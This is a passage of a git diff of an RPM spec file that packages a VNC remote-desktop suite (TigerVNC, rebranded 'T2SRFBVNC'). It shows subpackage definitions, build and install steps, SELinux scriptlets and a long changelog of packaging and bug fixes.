+- don't crash when receive negative encoding (#600070) +- explicitly disable udev configuration support +- add gettext-autopoint to BR + +* Mon Jun 14 2010 Adam Tkac 1.0.90-0.13.20100420svn4030 +- update URL about SSH tunneling in the sysconfig file (#601996) + +* Fri Jun 11 2010 Adam Tkac 1.0.90-0.12.20100420svn4030 +- use newer gettext +- autopoint now uses git instead of cvs, adjust BuildRequires appropriately + +* Thu May 13 2010 Adam Tkac 1.0.90-0.11.20100420svn4030 +- link libvnc.so "now" to catch "undefined symbol" errors during Xorg startup +- use always XkbConvertCase instead of XConvertCase (#580159, #586406) +- don't link libvnc.so against libXi.la, libdix.la and libxkb.la; use symbols + from Xorg instead + +* Thu May 13 2010 Adam Tkac 1.0.90-0.10.20100420svn4030 +- update to r4030 snapshot +- patches merged to upstream + - tigervnc11-rh522369.patch + - tigervnc11-rh551262.patch + - tigervnc11-r4002.patch + - tigervnc11-r4014.patch + +* Thu Apr 08 2010 Adam Tkac 1.0.90-0.9.20100219svn3993 +- add server-applet subpackage which contains Java vncviewer applet +- fix Java applet; it didn't work when run from web browser +- add xorg-x11-xkb-utils to server Requires + +* Fri Mar 12 2010 Adam Tkac 1.0.90-0.8.20100219svn3993 +- add French translation to vncviewer.desktop (thanks to Alain Portal) + +* Thu Mar 04 2010 Adam Tkac 1.0.90-0.7.20100219svn3993 +- don't crash during pixel format change (#522369, #551262) + +* Mon Mar 01 2010 Adam Tkac 1.0.90-0.6.20100219svn3993 +- add mesa-dri-drivers and xkeyboard-config to -server Requires +- update to r3993 1.0.90 snapshot + - tigervnc11-noexecstack.patch merged + - tigervnc11-xorg18.patch merged + - xserver18.patch is no longer needed + +* Wed Jan 27 2010 Jan Gorig 1.0.90-0.5.20091221svn3929 +- initscript LSB compliance fixes (#523974) + +* Fri Jan 22 2010 Adam Tkac 1.0.90-0.4.20091221svn3929 +- mark stack as non-executable in jpeg ASM code +- add xorg-x11-xauth to Requires +- add support for X.Org 1.8 +- drop shave sources, they are no longer needed + +* Thu Jan 21 2010 Adam Tkac 1.0.90-0.3.20091221svn3929 +- drop tigervnc-xorg25909.patch, it has been merged to X.Org upstream + +* Thu Jan 07 2010 Adam Tkac 1.0.90-0.2.20091221svn3929 +- add patch for upstream X.Org issue #25909 +- add libXdmcp-devel to build requires to build Xvnc with XDMCP support (#552322) + +* Mon Dec 21 2009 Adam Tkac 1.0.90-0.1.20091221svn3929 +- update to 1.0.90 snapshot +- patches merged + - tigervnc10-compat.patch + - tigervnc10-rh510185.patch + - tigervnc10-rh524340.patch + - tigervnc10-rh516274.patch + +* Mon Oct 26 2009 Adam Tkac 1.0.0-3 +- create Xvnc keyboard mapping before first keypress (#516274) + +* Thu Oct 08 2009 Adam Tkac 1.0.0-2 +- update underlying X source to 1.6.4-0.3.fc11 +- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629) +- initscript LSB compliance fixes (#523974) +- improve -LowColorSwitch documentation and handling (#510185) +- honor dotWhenNoCursor option (and it's changes) every time (#524340) + +* Fri Aug 28 2009 Adam Tkac 1.0.0-1 +- update to 1.0.0 +- tigervnc10-rh495457.patch merged to upstream + +* Mon Aug 24 2009 Karsten Hopp 0.0.91-0.17 +- fix ifnarch s390x for server-module + +* Fri Aug 21 2009 Tomas Mraz - 0.0.91-0.16 +- rebuilt with new openssl + +* Tue Aug 04 2009 Adam Tkac 0.0.91-0.15 +- make Xvnc compilable + +* Sun Jul 26 2009 Fedora Release Engineering - 0.0.91-0.14.1 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild + +* Mon Jul 13 2009 Adam Tkac 0.0.91-0.13.1 +- don't write warning when initscript is called with condrestart param (#508367) + +* Tue Jun 23 2009 Adam Tkac 0.0.91-0.13 +- temporary use F11 Xserver base to make Xvnc compilable +- BuildRequires: libXi-devel +- don't ship tigervnc-server-module on s390/s390x + +* Mon Jun 22 2009 Adam Tkac 0.0.91-0.12 +- fix local rendering of cursor (#495457) + +* Thu Jun 18 2009 Adam Tkac 0.0.91-0.11 +- update to 0.0.91 (1.0.0 RC1) +- patches merged + - tigervnc10-rh499401.patch + - tigervnc10-rh497592.patch + - tigervnc10-rh501832.patch +- after discusion in upstream drop tigervnc-bounds.patch +- configure flags cleanup + +* Thu May 21 2009 Adam Tkac 0.0.90-0.10 +- rebuild against 1.6.1.901 X server (#497835) +- disable i18n, vncviewer is not UTF-8 compatible (#501832) + +* Mon May 18 2009 Adam Tkac 0.0.90-0.9 +- fix vncpasswd crash on long passwords (#499401) +- start session dbus daemon correctly (#497592) + +* Mon May 11 2009 Adam Tkac 0.0.90-0.8.1 +- remove merged tigervnc-manminor.patch + +* Tue May 05 2009 Adam Tkac 0.0.90-0.8 +- update to 0.0.90 + +* Thu Apr 30 2009 Adam Tkac 0.0.90-0.7.20090427svn3789 +- server package now requires xorg-x11-fonts-misc (#498184) + +* Mon Apr 27 2009 Adam Tkac 0.0.90-0.6.20090427svn3789 +- update to r3789 + - tigervnc-rh494801.patch merged +- tigervnc-newfbsize.patch is no longer needed +- fix problems when vncviewer and Xvnc run on different endianess (#496653) +- UltraVNC and TightVNC clients work fine again (#496786) + +* Wed Apr 08 2009 Adam Tkac 0.0.90-0.5.20090403svn3751 +- workaround broken fontpath handling in vncserver script (#494801) + +* Fri Apr 03 2009 Adam Tkac 0.0.90-0.4.20090403svn3751 +- update to r3751 +- patches merged + - tigervnc-xclients.patch + - tigervnc-clipboard.patch + - tigervnc-rh212985.patch +- basic RandR support in Xvnc (resize of the desktop) +- use built-in libjpeg (SSE2/MMX accelerated encoding on x86 platform) +- use Tight encoding by default +- use T2SRFBVNC icons + +* Tue Mar 03 2009 Adam Tkac 0.0.90-0.3.20090303svn3631 +- update to r3631 + +* Tue Mar 03 2009 Adam Tkac 0.0.90-0.2.20090302svn3621 +- package review related fixes + +* Mon Mar 02 2009 Adam Tkac 0.0.90-0.1.20090302svn3621 +- initial package, r3621 diff --git a/T2SRFB/contrib/packages/rpm/el9/SPECS/tigervnc.spec b/T2SRFB/contrib/packages/rpm/el9/SPECS/tigervnc.spec index 817c750..b0aca4f 100644 --- a/T2SRFB/contrib/packages/rpm/el9/SPECS/tigervnc.spec +++ b/T2SRFB/contrib/packages/rpm/el9/SPECS/tigervnc.spec @@ -1,723 +1,723 @@ -#defining macros needed by SELinux -%global selinuxtype targeted -%global modulename vncsession - -Name: tigervnc -Version: @VERSION@ -Release: 1%{?snap:.%{snap}}%{?dist} -Summary: A T2SRFBVNC remote display system - -%global _hardened_build 1 - -License: GPLv2+ -URL: http://www.tigervnc.com - -Source0: %{name}-%{version}%{?snap:-%{snap}}.tar.bz2 -Source3: 10-libvnc.conf - -BuildRequires: make -BuildRequires: gcc-c++ -BuildRequires: automake, autoconf, libtool, gettext, gettext-autopoint -BuildRequires: cmake, desktop-file-utils, appstream -BuildRequires: libxkbfile-devel, openssl-devel, libpciaccess-devel -BuildRequires: freetype-devel, libjpeg-turbo-devel, pam-devel -BuildRequires: gnutls-devel, nettle-devel, gmp-devel -BuildRequires: zlib-devel -BuildRequires: libuuid-devel, glib2-devel, pipewire-devel -# X11/graphics dependencies -BuildRequires: xorg-x11-server-source -BuildRequires: libXext-devel, libX11-devel, libXi-devel, libXfixes-devel -BuildRequires: libXdamage-devel, libXrandr-devel, libXt-devel, libXdmcp-devel -BuildRequires: libXinerama-devel, mesa-libGL-devel, libxshmfence-devel -BuildRequires: pixman-devel, libdrm-devel, mesa-libgbm-devel -BuildRequires: xorg-x11-util-macros, xorg-x11-xtrans-devel, libXtst-devel -BuildRequires: libXfont2-devel -# SELinux -BuildRequires: libselinux-devel, selinux-policy-devel -BuildRequires: systemd-devel - -# T2SRFBVNC 1.4.x requires fltk 1.3.3 for keyboard handling support -# See https://github.com/T2SRFBVNC/tigervnc/issues/8, also bug #1208814 -BuildRequires: fltk-devel >= 1.3.3 -BuildRequires: xorg-x11-server-devel - -Requires: hicolor-icon-theme -Requires: tigervnc-license -Requires: tigervnc-icons - -%description -Virtual Network Computing (VNC) is a remote display system which -allows you to view a computing 'desktop' environment not only on the -machine where it is running, but from anywhere on the Internet and -from a wide variety of machine architectures. This package contains a -client which will allow you to connect to other desktops running a VNC -server. - -%package server -Summary: A T2SRFBVNC server -Requires: perl-interpreter -Requires: tigervnc-server-minimal = %{version}-%{release} -Requires: (%{name}-selinux if selinux-policy-%{selinuxtype}) -Requires: xorg-x11-xauth -Requires: xorg-x11-xinit - -%description server -The VNC system allows you to access the same desktop from a wide -variety of platforms. This package includes set of utilities -which make usage of T2SRFBVNC server more user friendly. It also -contains x0vncserver program which can export your active -X session. - -%package server-minimal -Summary: A minimal installation of T2SRFBVNC server -Requires(post): systemd -Requires(preun): systemd -Requires(postun): systemd -Requires(post): systemd - -Requires: mesa-dri-drivers, xkeyboard-config, xkbcomp -Requires: tigervnc-license, dbus-x11 - -%description server-minimal -The VNC system allows you to access the same desktop from a wide -variety of platforms. This package contains minimal installation -of T2SRFBVNC server, allowing others to access the desktop on your -machine. - -%package server-module -Summary: T2SRFBVNC module to Xorg -Requires: xorg-x11-server-Xorg %(xserver-sdk-abi-requires ansic) %(xserver-sdk-abi-requires videodrv) -Requires: tigervnc-license - -%description server-module -This package contains libvnc.so module to X server, allowing others -to access the desktop on your machine. - -%package license -Summary: License of T2SRFBVNC suite -BuildArch: noarch - -%description license -This package contains license of the T2SRFBVNC suite - -%package icons -Summary: Icons for T2SRFBVNC viewer -BuildArch: noarch - -%description icons -This package contains icons for T2SRFBVNC viewer - -%package selinux -Summary: SELinux module for T2SRFBVNC -BuildArch: noarch -BuildRequires: selinux-policy-devel -Requires: selinux-policy-%{selinuxtype} -Requires(post): selinux-policy-%{selinuxtype} -BuildRequires: selinux-policy-devel -%{?selinux_requires} - -%description selinux -This package provides the SELinux policy module to ensure T2SRFBVNC -runs properly under an environment with SELinux enabled. - -%prep -%setup -q -n %{name}-%{version}%{?snap:-%{snap}} - -cp -r /usr/share/xorg-x11-server-source/* unix/xserver -pushd unix/xserver -for all in `find . -type f -perm -001`; do - chmod -x "$all" -done -xserver_patch="../xserver$(rpm -q --qf '%%{VERSION}' xorg-x11-server-source | awk -F. '{ print $1 $2 }').patch" -patch -p1 -b --suffix .vnc < "$xserver_patch" -popd - -%build -%ifarch sparcv9 sparc64 s390 s390x -export CFLAGS="$RPM_OPT_FLAGS -fPIC" -%else -export CFLAGS="$RPM_OPT_FLAGS -fpic" -%endif -export CXXFLAGS="$CFLAGS -std=c++11" - -%cmake \ - -DENABLE_NLS=ON \ - -DENABLE_GNUTLS=ON \ - -DENABLE_NETTLE=ON \ - -DENABLE_SELINUX=ON \ - -DENABLE_SYSTEMD=ON \ - -DENABLE_WAYLAND=ON \ - -DBUILD_VIEWER=ON - -%cmake_build - -pushd unix/xserver - -autoreconf -fiv -%configure \ - --disable-xorg --disable-xnest --disable-xvfb --disable-dmx \ - --disable-xwin --disable-xephyr --disable-kdrive --disable-xwayland \ - --with-pic --disable-static \ - --with-default-font-path="catalogue:%{_sysconfdir}/X11/fontpath.d,built-ins" \ - --with-xkb-output=%{_localstatedir}/lib/xkb \ - --enable-glx --disable-dri --enable-dri2 --enable-dri3 \ - --disable-unit-tests \ - --disable-config-hal \ - --disable-config-udev \ - --without-dtrace \ - --disable-devel-docs \ - --disable-selective-werror - -make TIGERVNC_BUILDDIR="`pwd`/../../%{__cmake_builddir}" %{?_smp_mflags} -popd - -# SELinux -pushd unix/vncserver/selinux -make -popd - -%install -%cmake_install - -pushd unix/xserver/hw/vnc -%make_install TIGERVNC_BUILDDIR="`pwd`/../../../../%{__cmake_builddir}" -popd - -# Install systemd unit file -pushd unix/vncserver/selinux -make install DESTDIR=%{buildroot} -popd - -%find_lang %{name} %{name}.lang - -# remove unwanted files -rm -f %{buildroot}%{_libdir}/xorg/modules/extensions/libvnc.la - -mkdir -p %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/ -install -m 644 %{SOURCE3} %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf - -%pre selinux -%selinux_relabel_pre -s %{selinuxtype} - -%post selinux -%selinux_modules_install -s %{selinuxtype} %{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.bz2 -%selinux_relabel_post -s %{selinuxtype} - -%postun selinux -if [ $1 -eq 0 ]; then - %selinux_modules_uninstall -s %{selinuxtype} %{modulename} - %selinux_relabel_post -s %{selinuxtype} -fi - - -%files -f %{name}.lang -%doc %{_docdir}/%{name}/README.rst -%{_bindir}/vncviewer -%{_datadir}/applications/* -%{_datadir}/metainfo/* -%{_mandir}/man1/vncviewer.1* - -%files server -%config(noreplace) %{_sysconfdir}/pam.d/tigervnc -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-defaults -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-mandatory -%config(noreplace) %{_sysconfdir}/tigervnc/vncserver.users -%{_unitdir}/vncserver@.service -%{_bindir}/x0vncserver -%{_bindir}/w0vncserver -%{_sbindir}/vncsession -%{_libexecdir}/vncserver -%{_libexecdir}/vncsession-start -%{_mandir}/man1/x0vncserver.1* -%{_mandir}/man1/w0vncserver.1* -%{_mandir}/man8/vncserver.8* -%{_mandir}/man8/vncsession.8* -%doc %{_docdir}/%{name}/HOWTO.md - -%files server-minimal -%{_bindir}/vncconfig -%{_bindir}/vncpasswd -%{_bindir}/Xvnc -%{_mandir}/man1/Xvnc.1* -%{_mandir}/man1/vncpasswd.1* -%{_mandir}/man1/vncconfig.1* - -%files server-module -%{_libdir}/xorg/modules/extensions/libvnc.so -%config(noreplace) %{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf - -%files license -%doc %{_docdir}/%{name}/LICENCE.TXT - -%files icons -%{_datadir}/icons/hicolor/*/apps/* - -%files selinux -%{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.* -%ghost %verify(not md5 size mtime) %{_sharedstatedir}/selinux/%{selinuxtype}/active/modules/200/%{modulename} - -%changelog -* Fri Aug 19 2022 Pierre Ossman 1.12.80-1 -- Synced with current Fedora packaging - -* Tue May 18 2021 Jan Grulich 1.11.0-1 -- SELinux package improvements - -* Mon Jul 27 2020 Mark Mielke 1.10.1-1 -- Update build requirements and fix unexpected rpm macro expansion. - -* Tue Oct 22 2019 Evan Burns 1.9.80-5 -- Add support for CentOS 8 - -* Mon Feb 11 2019 Mark Mielke 1.9.80-5 -- Automatically detect and apply the correct X.org patch. - -* Mon Jan 14 2019 Pierre Ossman 1.9.80-4 -- Use system FLTK for build -- Add libXrandr-devel as a dependency so x0vncserver gets resize support. - -* Sun Dec 09 2018 Mark Mielke 1.9.80-3 -- Update package dependencies to require version alignment between packages. - -* Mon Nov 26 2018 Brian P. Hinz 1.9.80-2 -- Bumped Xorg version to 1.20 - -* Sun Jul 22 2018 Brian P. Hinz 1.9.80-1 -- Updated fltk to latest version - -* Thu Dec 24 2015 Brian P. Hinz 1.6.80-1 -- Adapted from RedHat EL7 Spec - -* Wed Sep 02 2015 Jan Grulich - 1.3.1-3 -- Do not mention that display number is required in the file name - Resolves: bz#1195266 - -* Thu Jul 30 2015 Jan Grulich - 1.3.1-2 -- Resolves: bz#1248422 - CVE-2014-8240 CVE-2014-8241 tigervnc: various flaws - -* Wed Apr 15 2015 Jan Grulich - 1.3.1-1 -- Drop unecessary patches -- Re-base to 1.3.1 (bug #1199453) -- Re-build against re-based xserver (bug #1194898) -- Check the return value from XShmAttach (bug #1072733) -- Add missing part of xserver114.patch (bug #1140603) -- Keep pointer in sync (bug #1100661) -- Make input device class global (bug #1119640) -- Add IPv6 support (bug #1162722) -- Set initial mode as prefered (bug #1181287) -- Do not mention that display number is required in the file name (bug #1195266) -- Enable Xinerama extension (bug #1199437) -- Specify full path for runuser command (bug #1208817) - -* Tue Sep 23 2014 Tim Waugh - 1.2.80-0.31.20130314svn5065 -- Rebuilt against xorg-x11-server to pick up ppc64le fix (bug #1140424). - -* Mon Mar 10 2014 Tim Waugh - 1.2.80-0.30.20130314svn5065 -- Fixed heap-based buffer overflow (CVE-2014-0011, bug #1050928). - -* Tue Feb 18 2014 Tim Waugh - 1.2.80-0.29.20130314svn5065 -- Previous patch was not applied. - -* Mon Feb 10 2014 Tim Waugh - 1.2.80-0.28.20130314svn5065 -- Clearer xstartup file (bug #923655). - -* Tue Jan 28 2014 Tim Waugh - 1.2.80-0.27.20130314svn5065 -- Use keyboard input code from tigervnc-1.3.0 (bug #1053536). - -* Fri Jan 24 2014 Daniel Mach - 1.2.80-0.26.20130314svn5065 -- Mass rebuild 2014-01-24 - -* Fri Jan 10 2014 Tim Waugh - 1.2.80-0.25.20130314svn5065 -- Fixed viewer crash when cursor has not been set (bug #1051333). - -* Fri Dec 27 2013 Daniel Mach - 1.2.80-0.24.20130314svn5065 -- Mass rebuild 2013-12-27 - -* Thu Dec 12 2013 Tim Waugh 1.2.80-0.23.20130314svn5065 -- Avoid invalid read when ZRLE connection closed (bug #1039926). - -* Tue Dec 10 2013 Tim Waugh 1.2.80-0.22.20130314svn5065 -- Fixed GLX initialisation (bug #1039126). - -* Tue Nov 19 2013 Tim Waugh 1.2.80-0.21.20130314svn5065 -- Better fix for PIDFile problem (bug #1031625). - -* Fri Nov 08 2013 Adam Jackson 1.2.80-0.20.20130314svn5065 -- Rebuild against xserver 1.15RC1 - -* Wed Jul 24 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 -- Avoid PIDFile problems in systemd unit file (bug #983232). -- Don't use shebang in vncserver script. - -* Wed Jul 3 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 -- Removed systemd_requires macro in order to fix the build. - -* Wed Jul 3 2013 Tim Waugh 1.2.80-0.17.20130314svn5065 -- Synchronise manpages and --help output (bug #980870). - -* Mon Jun 17 2013 Adam Jackson 1.2.80-0.16.20130314svn5065 -- tigervnc-setcursor-crash.patch: Attempt to paper over a crash in Xvnc when - setting the cursor. - -* Sat Jun 08 2013 Dennis Gilmore 1.2.80-0.15.20130314svn5065 -- bump to rebuild and pick up bugfix causing X to crash on ppc and arm - -* Thu May 23 2013 Tim Waugh 1.2.80-0.14.20130314svn5065 -- Use systemd rpm macros (bug #850340). Moved systemd requirements - from main package to server sub-package. -- Applied Debian patch to fix busy loop when run from inetd in nowait - mode (bug #920373). -- Added dependency on xorg-x11-xinit to server sub-package so that - default window manager can be found (bug #896284, bug #923655). -- Fixed bogus changelog date. - -* Thu Mar 14 2013 Adam Jackson 1.2.80-0.13.20130314svn5065 -- Less RHEL customization - -* Thu Mar 14 2013 Adam Tkac - 1.2.80-0.12.20130314svn5065 -- include /etc/X11/xorg.conf.d/10-libvnc.conf sample configuration (#712482) -- vncserver now honors specified -geometry parameter (#755947) - -* Tue Mar 12 2013 Adam Tkac - 1.2.80-0.11.20130307svn5060 -- update to r5060 -- split icons to separate package to avoid multilib issues - -* Tue Feb 19 2013 Adam Tkac - 1.2.80-0.10.20130219svn5047 -- update to r5047 (X.Org 1.14 support) - -* Fri Feb 15 2013 Fedora Release Engineering - 1.2.80-0.9.20121126svn5015 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass_Rebuild - -* Mon Jan 21 2013 Adam Tkac - 1.2.80-0.8.20121126svn5015 -- rebuild due to "jpeg8-ABI" feature drop - -* Wed Jan 16 2013 Adam Tkac 1.2.80-0.7.20121126svn5015 -- rebuild - -* Tue Dec 04 2012 Adam Tkac 1.2.80-0.6.20121126svn5015 -- rebuild against new fltk - -* Mon Nov 26 2012 Adam Tkac 1.2.80-0.5.20121126svn5015 -- update to r5015 -- build with -fpic instead of -fPIC on all archs except s390/sparc - -* Wed Nov 7 2012 Peter Robinson 1.2.80-0.4.20120905svn4996 -- Build with -fPIC to fix FTBFS on ARM - -* Wed Oct 31 2012 Adam Jackson 1.2.80-0.3.20120905svn4996 -- tigervnc12-xorg113-glx.patch: Fix to only init glx on the first server - generation - -* Fri Sep 28 2012 Adam Jackson 1.2.80-0.2.20120905svn4996 -- tigervnc12-xorg113-glx.patch: Re-enable GLX against xserver 1.13 - -* Fri Aug 17 2012 Adam Tkac 1.2.80-0.1.20120905svn4996 -- update to 1.2.80 -- remove deprecated patches - - tigervnc-102434.patch - - tigervnc-viewer-reparent.patch - - tigervnc11-java7.patch -- patches merged - - tigervnc11-xorg111.patch - - tigervnc11-xorg112.patch - -* Fri Aug 10 2012 Dave Airlie 1.1.0-10 -- fix build against newer X server - -* Mon Jul 23 2012 Adam Jackson 1.1.0-9 -- Build with the Composite extension for feature parity with other X servers - -* Sat Jul 21 2012 Fedora Release Engineering - 1.1.0-8 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild - -* Thu Jul 19 2012 Dave Airlie 1.1.0-7 -- fix building against X.org 1.13 - -* Wed Apr 04 2012 Adam Jackson 1.1.0-6 -- RHEL exclusion for -server-module on ppc* too - -* Mon Mar 26 2012 Adam Tkac - 1.1.0-5 -- clean Xvnc's /tmp environment in service file before startup -- fix building against the latest JAVA 7 and X.Org 1.12 - -* Sat Jan 14 2012 Fedora Release Engineering - 1.1.0-4 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild - -* Tue Nov 22 2011 Adam Tkac - 1.1.0-3 -- don't build X.Org devel docs (#755782) -- applet: BR generic java-devel instead of java-gcj-devel (#755783) -- use runuser to start Xvnc in systemd service file (#754259) -- don't attepmt to restart Xvnc session during update/erase (#753216) - -* Fri Nov 11 2011 Adam Tkac - 1.1.0-2 -- libvnc.so: don't use unexported GetMaster function (#744881) -- remove nasm buildreq - -* Mon Sep 12 2011 Adam Tkac - 1.1.0-1 -- update to 1.1.0 -- update the xorg11 patch -- patches merged - - tigervnc11-glx.patch - - tigervnc11-CVE-2011-1775.patch - - 0001-Use-memmove-instead-of-memcpy-in-fbblt.c-when-memory.patch - -* Thu Jul 28 2011 Adam Tkac - 1.0.90-6 -- add systemd service file and remove legacy SysV initscript (#717227) - -* Thu May 12 2011 Adam Tkac - 1.0.90-5 -- make Xvnc buildable against X.Org 1.11 - -* Tue May 10 2011 Adam Tkac - 1.0.90-4 -- viewer can send password without proper validation of X.509 certs - (CVE-2011-1775) - -* Wed Apr 13 2011 Adam Tkac - 1.0.90-3 -- fix wrong usage of memcpy which caused screen artifacts (#652590) -- don't point to inaccessible link in sysconfig/vncservers (#644975) - -* Fri Apr 08 2011 Adam Tkac - 1.0.90-2 -- improve compatibility with vinagre client (#692048) - -* Tue Mar 22 2011 Adam Tkac - 1.0.90-1 -- update to 1.0.90 - -* Wed Feb 09 2011 Fedora Release Engineering - 1.0.90-0.32.20110117svn4237 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_15_Mass_Rebuild - -* Mon Jan 17 2011 Adam Tkac 1.0.90-0.31.20110117svn4237 -- fix libvnc.so module loading - -* Mon Jan 17 2011 Adam Tkac 1.0.90-0.30.20110117svn4237 -- update to r4237 -- patches merged - - tigervnc11-optionsdialog.patch - - tigervnc11-rh607866.patch - -* Fri Jan 14 2011 Adam Tkac 1.0.90-0.29.20101208svn4225 -- improve patch for keyboard issues - -* Fri Jan 14 2011 Adam Tkac 1.0.90-0.28.20101208svn4225 -- attempt to fix various keyboard-related issues (key repeating etc) - -* Fri Jan 07 2011 Adam Tkac 1.0.90-0.27.20101208svn4225 -- render "Ok" and "Cancel" buttons in the options dialog correctly - -* Wed Dec 15 2010 Jan Görig 1.0.90-0.26.20101208svn4225 -- added vncserver lock file (#662784) - -* Fri Dec 10 2010 Adam Tkac 1.0.90-0.25.20101208svn4225 -- update to r4225 -- patches merged - - tigervnc11-rh611677.patch - - tigervnc11-rh633931.patch - - tigervnc11-xorg1.10.patch -- enable VeNCrypt and PAM support - -* Mon Dec 06 2010 Adam Tkac 1.0.90-0.24.20100813svn4123 -- rebuild against xserver 1.10.X -- 0001-Return-Success-from-generate_modkeymap-when-max_keys.patch merged - -* Wed Sep 29 2010 jkeating - 1.0.90-0.23.20100813svn4123 -- Rebuilt for gcc bug 634757 - -* Tue Sep 21 2010 Adam Tkac 1.0.90-0.22.20100420svn4030 -- drop xorg-x11-fonts-misc dependency (#636170) - -* Tue Sep 21 2010 Adam Tkac 1.0.90-0.21.20100420svn4030 -- improve patch for #633645 (fix tcsh incompatibilities) - -* Thu Sep 16 2010 Adam Tkac 1.0.90-0.20.20100813svn4123 -- press fake modifiers correctly (#633931) -- supress unneeded debug information emitted from initscript (#633645) - -* Wed Aug 25 2010 Adam Tkac 1.0.90-0.19.20100813svn4123 -- separate Xvnc, vncpasswd and vncconfig to -server-minimal subpkg (#626946) -- move license to separate subpkg and Requires it from main subpkgs -- Xvnc: handle situations when no modifiers exist well (#611677) - -* Fri Aug 13 2010 Adam Tkac 1.0.90-0.18.20100813svn4123 -- update to r4123 (#617973) -- add perl requires to -server subpkg (#619791) - -* Thu Jul 22 2010 Adam Tkac 1.0.90-0.17.20100721svn4113 -- update to r4113 -- patches merged - - tigervnc11-rh586406.patch - - tigervnc11-libvnc.patch - - tigervnc11-rh597172.patch - - tigervnc11-rh600070.patch - - tigervnc11-options.patch -- don't own %%{_datadir}/icons directory (#614301) -- minor improvements in the .desktop file (#616340) -- bundled libjpeg configure requires nasm; is executed even if system-wide - libjpeg is used - -* Fri Jul 02 2010 Adam Tkac 1.0.90-0.16.20100420svn4030 -- build against system-wide libjpeg-turbo (#494458) -- build no longer requires nasm - -* Mon Jun 28 2010 Adam Tkac 1.0.90-0.15.20100420svn4030 -- vncserver: accept <+optname> option when specified as the first one - -* Thu Jun 24 2010 Adam Tkac 1.0.90-0.14.20100420svn4030 -- fix memory leak in Xvnc input code (#597172) -- don't crash when receive negative encoding (#600070) -- explicitly disable udev configuration support -- add gettext-autopoint to BR - -* Mon Jun 14 2010 Adam Tkac 1.0.90-0.13.20100420svn4030 -- update URL about SSH tunneling in the sysconfig file (#601996) - -* Fri Jun 11 2010 Adam Tkac 1.0.90-0.12.20100420svn4030 -- use newer gettext -- autopoint now uses git instead of cvs, adjust BuildRequires appropriately - -* Thu May 13 2010 Adam Tkac 1.0.90-0.11.20100420svn4030 -- link libvnc.so "now" to catch "undefined symbol" errors during Xorg startup -- use always XkbConvertCase instead of XConvertCase (#580159, #586406) -- don't link libvnc.so against libXi.la, libdix.la and libxkb.la; use symbols - from Xorg instead - -* Thu May 13 2010 Adam Tkac 1.0.90-0.10.20100420svn4030 -- update to r4030 snapshot -- patches merged to upstream - - tigervnc11-rh522369.patch - - tigervnc11-rh551262.patch - - tigervnc11-r4002.patch - - tigervnc11-r4014.patch - -* Thu Apr 08 2010 Adam Tkac 1.0.90-0.9.20100219svn3993 -- add server-applet subpackage which contains Java vncviewer applet -- fix Java applet; it didn't work when run from web browser -- add xorg-x11-xkb-utils to server Requires - -* Fri Mar 12 2010 Adam Tkac 1.0.90-0.8.20100219svn3993 -- add French translation to vncviewer.desktop (thanks to Alain Portal) - -* Thu Mar 04 2010 Adam Tkac 1.0.90-0.7.20100219svn3993 -- don't crash during pixel format change (#522369, #551262) - -* Mon Mar 01 2010 Adam Tkac 1.0.90-0.6.20100219svn3993 -- add mesa-dri-drivers and xkeyboard-config to -server Requires -- update to r3993 1.0.90 snapshot - - tigervnc11-noexecstack.patch merged - - tigervnc11-xorg18.patch merged - - xserver18.patch is no longer needed - -* Wed Jan 27 2010 Jan Gorig 1.0.90-0.5.20091221svn3929 -- initscript LSB compliance fixes (#523974) - -* Fri Jan 22 2010 Adam Tkac 1.0.90-0.4.20091221svn3929 -- mark stack as non-executable in jpeg ASM code -- add xorg-x11-xauth to Requires -- add support for X.Org 1.8 -- drop shave sources, they are no longer needed - -* Thu Jan 21 2010 Adam Tkac 1.0.90-0.3.20091221svn3929 -- drop tigervnc-xorg25909.patch, it has been merged to X.Org upstream - -* Thu Jan 07 2010 Adam Tkac 1.0.90-0.2.20091221svn3929 -- add patch for upstream X.Org issue #25909 -- add libXdmcp-devel to build requires to build Xvnc with XDMCP support (#552322) - -* Mon Dec 21 2009 Adam Tkac 1.0.90-0.1.20091221svn3929 -- update to 1.0.90 snapshot -- patches merged - - tigervnc10-compat.patch - - tigervnc10-rh510185.patch - - tigervnc10-rh524340.patch - - tigervnc10-rh516274.patch - -* Mon Oct 26 2009 Adam Tkac 1.0.0-3 -- create Xvnc keyboard mapping before first keypress (#516274) - -* Thu Oct 08 2009 Adam Tkac 1.0.0-2 -- update underlying X source to 1.6.4-0.3.fc11 -- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629) -- initscript LSB compliance fixes (#523974) -- improve -LowColorSwitch documentation and handling (#510185) -- honor dotWhenNoCursor option (and it's changes) every time (#524340) - -* Fri Aug 28 2009 Adam Tkac 1.0.0-1 -- update to 1.0.0 -- tigervnc10-rh495457.patch merged to upstream - -* Mon Aug 24 2009 Karsten Hopp 0.0.91-0.17 -- fix ifnarch s390x for server-module - -* Fri Aug 21 2009 Tomas Mraz - 0.0.91-0.16 -- rebuilt with new openssl - -* Tue Aug 04 2009 Adam Tkac 0.0.91-0.15 -- make Xvnc compilable - -* Sun Jul 26 2009 Fedora Release Engineering - 0.0.91-0.14.1 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild - -* Mon Jul 13 2009 Adam Tkac 0.0.91-0.13.1 -- don't write warning when initscript is called with condrestart param (#508367) - -* Tue Jun 23 2009 Adam Tkac 0.0.91-0.13 -- temporary use F11 Xserver base to make Xvnc compilable -- BuildRequires: libXi-devel -- don't ship tigervnc-server-module on s390/s390x - -* Mon Jun 22 2009 Adam Tkac 0.0.91-0.12 -- fix local rendering of cursor (#495457) - -* Thu Jun 18 2009 Adam Tkac 0.0.91-0.11 -- update to 0.0.91 (1.0.0 RC1) -- patches merged - - 